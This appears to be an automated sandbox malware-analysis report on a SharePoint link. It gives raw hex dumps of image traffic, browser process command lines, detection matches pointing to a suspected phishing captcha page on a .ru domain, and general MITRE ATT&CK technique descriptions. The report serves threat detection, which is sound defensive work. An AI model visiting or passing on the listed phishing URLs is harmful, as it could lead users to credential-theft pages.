2024-04-26 08:00:28 UTC	836	IN	Data Raw: 36 43 46 44 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 6CFDJFIFC!"$"$C,,"}!1AQa"q
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: de ac ee ed 6f b4 db 82 be 4d e4 65 db f8 5b 2a 73 e9 ce 3f 4a 87 c4 88 3f b3 b7 63 98 e4 56 fc f8 fe b5 c4 6e 3b 08 f5 35 b7 e1 fd 4f 5e 66 fb 1d 9c 2f a9 42 40 0d 6d 2c 3e 7a 63 e8 79 5f a8 22 87 1e c2 f5 36 bc 27 3f fa 0d c4 3d d6 72 7f 02 01 ff 00 1a dd d1 cf fa 4d c0 ee 70 7f 40 29 9a 3e 80 6d ad a7 bc bf 85 34 7f 34 a9 68 de 70 e8 31 9e 9d d7 af 42 4d 4f 62 fa 6b 5f 4a ba 7d cb 5c 6d 41 e6 31 18 19 ed 8e 3d 8d 71 e3 a3 7a 32 3a 70 8f f7 a8 ba d5 ad a8 c7 be f0 cb d0 c8 89 21 f7 2c 80 9f d4 d6 53 56 bc 96 77 b7 96 b6 73 42 15 63 36 e0 3c ae e1 54 15 66 5e 4f d0 0a f3 70 12 b4 da 3b b1 8a f0 b9 bb e0 a7 10 fd b0 21 e4 84 cf 3c ff 00 15 74 09 27 9a 98 20 64 72 3f c2 b9 2f 0d 46 90 3c e2 0b c4 bb 90 6d f3 3c b5 3b 57 ae 30 7b f7 ae bb 50 d1 f5 5b 2d 26 Data Ascii: oMe[*s?J?cVn;5O^f/B@m,>zcy_"6'?=rMp@)>m44hp1BMObk_J}\mA1=qz2:p!,SVwsBc6<Tf^Op;!<t' dr?/F<m<;W0{P[-&
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: c1 60 37 06 df bb f2 c0 fc eb d9 2f 75 0d 0e 0b 53 f6 8d 4e 00 07 5f de 02 7f 2a ed ad 38 a9 49 3b 1c 50 8b 71 47 84 78 d3 42 87 4b f1 1d d4 36 ab 21 b7 dd 94 3d 97 3d ab 38 5b ba 29 cc 8a 03 1c 0c f4 af 48 f1 77 89 7c 3f 73 6f 3d 96 9f 0a dc 4b 28 c1 98 af 0b ee 09 ae 1b fb 3a 39 36 16 94 32 1f 43 d0 d7 25 39 73 2d 0a 9c 6c cc d7 46 18 19 57 23 ae 0f 5a 68 9b 6b 82 13 80 39 3e 86 b5 d3 4d 8d 51 42 36 08 ce 09 1c 55 53 6b 70 92 b0 58 d6 40 0f 26 af 62 0a 0f 23 ca c7 32 32 29 1d 41 fe 95 39 b9 91 22 5c b9 75 42 00 06 a5 fe cd e6 47 2a 63 0d c0 50 6a 36 88 2c 7b 4a 17 3d f8 a9 57 b8 58 74 37 a9 31 ce d0 00 5e f4 aa d0 c8 a0 6d 61 9e 41 3d ea 06 b7 92 48 ff 00 76 aa ab dc f4 c9 a8 04 77 30 ee 59 5c 79 6a 7a 77 14 de a2 27 9a 36 c6 12 4e 31 c0 ed 8a 74 11 4c Data Ascii: `7/uSN_8I;PqGxBK6!==8[)Hw\|?so=K(:962C%9s-lFW#Zhk9>MQB6USkpX@&b#22)A9"\uBGcPj6,{J=WXt71^maA=Hvw0Y\yjzw'6N1tL
2024-04-26 08:00:28 UTC	758	IN	Data Raw: e6 51 36 a0 e9 a7 c3 8c 93 2f 32 11 fe e7 5f cf 15 7a 1b bd 17 44 99 7f b2 a3 7b b9 c7 0f 23 36 4b 0f 4c 8f 94 0f a6 7e b5 8b 7f 7f 77 7c c4 dd 5c 3c b9 39 d8 38 5c fd 3f c9 ab fa 67 87 75 1b d5 12 48 82 d2 df 19 2f 2f 1c 7b 2f 53 f8 e0 54 55 71 8c 7f 7a ec 87 4d 4a 52 fd da bb 22 d5 b5 cd 43 50 2c b3 4e 62 88 ff 00 cb 28 8e 07 e2 7b d7 67 f0 c8 df 47 a3 de a3 42 62 b2 69 23 23 82 bb df 0d 83 ea d8 19 e7 b6 4e 3a 9a a3 06 99 a6 69 21 7c a8 05 e5 d1 4d e1 a4 23 01 72 06 47 61 d7 8f e7 5d 75 8b ed d3 6e 09 38 fd f4 63 f4 7a e2 8e 32 1c ca 9d 28 d9 33 aa 58 69 72 b9 d4 95 da 3d 0f e1 1f 86 ee fc 4d 7b 79 05 b6 02 47 e5 f9 8d 9c 75 df 81 ff 00 8e 9a f6 4d 17 c0 3a 4d b4 3b ae f2 cc a3 2d 93 c0 af 25 f8 19 e2 c8 bc 33 1e ac 5c 85 69 e6 b5 2a de cb e6 e7 ff 00 Data Ascii: Q6/2_zD{#6KL~w\|\<98\?guH//{/STUqzMJR"CP,Nb({gGBbi##N:i!\|M#rGa]un8cz2(3Xir=M{yGuM:M;-%3\i*
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: cf 5c 64 b1 f4 ac 9f 12 db 0b bd 31 ec 6f ef 9e 3b 92 eb 3c 49 2b ac 8c 48 0c 36 9c 73 d0 9c 1a da 58 59 3f 7a 41 cf 19 37 ca 66 27 88 6f f5 9d 31 61 bb 86 cd 9b 60 85 5c 40 37 05 1d 39 e7 1d 7b 57 4f e1 3d 03 c3 ff 00 6d f2 75 db f7 4b 99 33 2f d9 ee 23 91 14 a6 ee ce 08 e7 af 1d 87 35 c4 db d9 3d 9c 4b e5 5d c4 5c 12 40 ff 00 26 b6 6d f5 3d 7a f1 24 8f ed 77 6c ce 36 84 4e 18 1f cb 22 b1 95 68 df dd 34 51 ba d4 f5 4d 56 c7 e1 e4 89 04 36 da 2b ea 0d 6e af e5 88 ae a4 c4 21 bb 90 5c 03 ce 3a e7 bd 71 f7 76 6b 61 65 1c 36 a4 da c4 59 25 42 eb b5 dc a0 6e c3 77 38 72 0f 4e 83 a7 39 e5 ee fc 45 71 a4 48 ba 76 ae 92 4f 31 28 7e d7 e5 10 e8 b8 c1 04 83 86 19 1e 99 04 1c 13 d2 a4 f0 f7 8b 44 da ca e9 ff 00 67 96 6b 56 73 ba e1 62 21 b0 03 7d d2 71 81 d3 f8 72 Data Ascii: \d1o;<I+H6sXY?zA7f'o1a`\@79{WO=muK3/#5=K]\@&m=z$wl6N"h4QMV6+n!\:qvkae6Y%Bnw8rN9EqHvO1(~DgkVsb!}qr
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: b4 ad 80 cd 83 b4 9e dd a9 99 57 60 a5 87 3e d4 85 cc 45 31 72 fd 06 0f 40 29 10 ca e8 e0 29 1c 74 c5 4e b1 c6 d2 29 2e 17 07 e6 f7 a9 23 20 1c 8f 9c 00 71 8a 05 b9 0a 44 f2 8d a4 61 57 ae 69 ee 51 02 ab 7c d8 1d 69 8d 21 76 60 c4 03 ed d7 14 d3 10 2c 77 4e 40 3c e0 8a 04 df 61 e6 65 de 42 f2 31 c0 f4 af 24 d0 7c 23 e2 1d 61 03 1d 3e 64 87 1f 2c 93 9d 8a 07 a8 cf 24 7d 01 af 57 54 03 20 02 4e d0 41 ed cd 63 ea 3a d5 cd ff 00 c9 20 91 23 3f f2 cd 18 6d fc b1 fc eb af 09 1e 6b dc 16 a7 9b ea 5e 0e d6 ec 24 95 63 31 de b2 9f dd b4 57 0a 71 ed 82 73 d7 da a8 3e 9d e2 38 cf cd a2 cf f8 36 7f 91 af 4f 8d 95 57 1c fe 20 d3 8b 00 3a 0f ca bd 58 d6 9c 76 65 3a 71 7b 9e 56 b0 6b a2 55 56 b4 be b6 43 f7 99 41 5f a0 dd ce 3e b5 76 c0 eb 77 37 22 de 5f ed 06 80 3f 32 Data Ascii: W`>E1r@))tN).# qDaWiQ\|i!v`,wN@<aeB1$\|#a>d,$}WT NAc: #?mk^$c1Wqs>86OW :Xve:q{VkUVCA_>vw7"_?2
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: 91 b1 cf 00 63 e9 56 0c 59 2a 03 32 80 07 ca 3b fd 6a 2f b4 c4 4b b8 da b4 7d b0 0e 4f 5c 53 b0 d3 25 9a 34 0e 49 0a 3b 31 cd 43 b2 11 19 f3 3e 72 38 34 4f 24 0d 0e fd ed bb 19 fa d4 2a 3c d0 a8 55 b3 d7 9e 2a 80 9f ed 10 18 82 c4 5b 71 e3 e9 ed 5c b2 bc dd 76 85 1e f5 d3 5a 42 48 91 70 a1 48 39 24 72 2b 9a c6 7a 1e 7e b5 db 83 5f 17 c8 a4 31 da 67 21 56 40 83 b9 0b cd 39 23 41 d4 96 3e a4 9a 70 8c 03 d6 a5 01 47 53 8a ed b1 69 8c 05 47 45 03 e8 d4 6f 1c 8c 50 40 27 81 cd 02 31 9f fe bd 03 23 f9 49 ed 4a 42 9f a7 a7 ad 29 88 e7 de 93 6b 03 93 d2 98 12 ae 30 38 a7 02 7b 54 69 c2 d3 94 90 71 da 80 1e 33 c9 f4 a9 14 71 51 07 35 20 3c 64 9c 53 19 28 c0 1d 69 7c d5 1d 40 35 1f 5e 71 9a 5c 91 d1 80 f6 a4 17 38 7d 4b 50 bd 37 4f 11 6d d1 ee c4 65 78 c3 7c db 41 Data Ascii: cVY2;j/K}O\S%4I;1C>r84O$<U*[q\vZBHpH9$r+z~_1g!V@9#A>pGSiGEoP@'1#IJB)k08{Tiq3qQ5 <dS(i\|@5^q\8}KP7Omex\|A
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: 7b 8b 81 ff 00 09 bb dc cd 1c ac a7 fe 25 8d 96 41 9d af 93 26 3e 6c 1e 33 c5 7a b7 83 96 33 e0 ad 14 48 03 0f b1 43 9c ff 00 b8 2a c5 bc c2 4b bf 36 ca 45 31 99 9b c9 04 71 b4 37 ca 72 79 e8 47 5a c2 84 55 24 f9 15 8d eb c6 33 6b 98 f0 e8 fe 0a c9 2f d9 8a 78 a9 81 9c 31 50 da 76 30 02 a3 73 fb de bf 3f e9 57 3f e1 47 ca 4f 95 73 e2 b6 31 81 92 0e 9a 49 fc 07 9b cf e0 6b d8 84 de 63 af 9a db 8a ca cd 19 65 00 8d c0 06 00 8e a3 80 7b d3 23 49 e7 bc 94 12 1f f7 ea b1 c4 06 18 8d 9d bf 1e e3 d4 56 fe da 4f a9 cf ec 20 95 da 3c ca 0f 84 d0 db c4 96 0b ae 04 28 8a fb 96 c7 01 89 38 e7 e7 fd 6a d5 bf c2 cc 26 c6 d7 f1 80 30 4d 9e 33 ff 00 8f d7 a3 2a fc a8 24 72 e6 58 80 91 41 c1 23 23 19 03 af 26 a1 30 4c b7 86 e6 19 77 89 0a 06 5e 98 da a7 a7 3d f2 3f 2a e7 Data Ascii: {%A&>l3z3HCK6E1q7ryGZU$3k/x1Pv0s?W?GOs1Ikce{#IVO <(8j&0M3$rXA##&0Lw^=?*
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: c8 60 fc 03 b5 54 31 04 02 c4 75 e2 aa 14 e3 4f 62 e1 0b df 4d 8f 9d d3 c4 fb d9 b6 e9 e4 00 48 04 cb 82 7f 4a 7d cf 88 d2 0b b8 ad a4 b6 c4 92 8c af cf ff 00 d6 a6 5f db 49 7f e2 2b f3 14 0d e6 cf 7b 2e d8 c2 e3 92 e7 a0 ed 57 26 f0 ce a5 ff 00 0b 5f 41 d2 05 dc 3a 7d cc d6 e5 d2 76 51 2a a6 04 87 25 72 01 fb a4 75 ef 5b 35 a5 c5 6b 4f 95 91 7f 6c 12 70 b6 d9 cf a4 c2 9e 75 29 58 e3 ec 87 fe fe 0f f0 ae e2 6d 2f c5 b2 a2 c7 27 8c 4c 91 81 f2 c7 36 99 0b 22 f1 d3 0c 0d 60 c9 e0 cf 1a 5c dc ac f1 5b c5 71 0e d3 21 91 74 bb 58 c3 29 24 12 30 be dd 08 cf 7a e7 8d 55 2d 8e 89 d0 71 dc c6 3a 9c 88 c1 5a d4 0c 8e 33 28 ff 00 0a 6e a1 ab ae 9f 3a 45 7b 03 44 65 4d ca 77 02 08 15 ce 78 f3 4e be d0 75 48 2d af 16 e1 2e 26 43 26 d2 51 46 37 10 36 ec 3e dc e4 0a b7 Data Ascii: `T1uObMHJ}_I+{.W&_A:}vQ*%ru[5kOlpu)Xm/'L6"`\[q!tX)$0zU-q:Z3(n:E{DeMwxNuH-.&C&QF76>
2024-04-26 08:00:28 UTC	1255	IN	Data Raw: e4 48 cc 1b 60 19 38 20 63 ef 0e 95 f5 33 68 b7 6b fe ad a3 93 d8 36 3f 9d 78 0f ed 6b f6 88 75 3f 0d d9 4e ac bb 61 9a 40 a4 e7 ab 28 cf fe 3b 59 2a 92 6e c6 8e 29 2d 0e 2b e1 36 97 aa ea 97 1a 8d be 91 b8 4e 60 ce 56 32 f9 50 eb 91 81 db 9a ec 17 42 f1 dc 52 79 33 e8 b7 97 28 a3 39 b3 b5 32 31 1e b8 20 64 fe 35 27 ec b4 e2 0d 6f 53 b8 d9 13 01 6a 54 87 1c 72 eb ff 00 c4 d7 b9 cb aa 42 24 dc b1 05 60 7a a4 87 8f cf 34 f9 f9 5b b0 24 9a d4 f0 4d 13 c3 f0 ea 1a fa e9 9a 95 bc ba 76 ef 9a 36 d4 2d 7e cb b8 fb ef 21 7f f1 ef ce ba b9 fe 05 de 5e cd 1d f2 5a 2e 1d f2 5e ca e0 30 20 74 c3 46 08 1f 8d 7a c2 f8 af 53 54 f2 85 ec b2 42 78 31 cc 04 ab 8f 4c 30 23 f4 aa a6 f3 4a 92 6f 3c e9 70 da 4f 9c f9 fa 74 8f 67 26 7d 7e 43 b4 fe 2a 69 4a a4 de c5 46 9d 3b 6b Data Ascii: H`8 c3hk6?xku?Na@(;Yn)-+6N`V2PBRy3(921 d5'oSjTrB$`z4[$Mv6-~!^Z.^0 tFzSTBx1L0#Jo<pOtg&}~CiJF;k

Target ID:	0
Start time:	09:59:00
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:59:03
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2012,i,8703808691657293338,11271876919328152257,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:59:06
Start date:	26/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 4.15.pages.csv, type: HTML
Source: Yara match	File source: 4.24.pages.csv, type: HTML
Source: Yara match	File source: 4.21.pages.csv, type: HTML
Source: Yara match	File source: 4.18.pages.csv, type: HTML

Source: https://4odq.cxnev1.ru/1L9z9v39/	Matcher: Template: captcha matched
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=63zqkenm1gfs	Matcher: Template: captcha matched
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC	Matcher: Template: captcha matched
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC&co=aHR0cHM6Ly80b2RxLmN4bmV2MS5ydTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&cb=c7ns1b39xrgu	Matcher: Template: captcha matched

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Chrome Cache Entry: 203

Chrome Cache Entry: 204

Chrome Cache Entry: 205

Chrome Cache Entry: 206

Chrome Cache Entry: 207

Chrome Cache Entry: 208

Chrome Cache Entry: 209

Chrome Cache Entry: 210

Chrome Cache Entry: 211

Chrome Cache Entry: 212

Chrome Cache Entry: 213

Chrome Cache Entry: 214

Chrome Cache Entry: 215

Chrome Cache Entry: 216

Chrome Cache Entry: 217

Chrome Cache Entry: 218

Windows Analysis Report
https://usigroups-my.sharepoint.com/:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm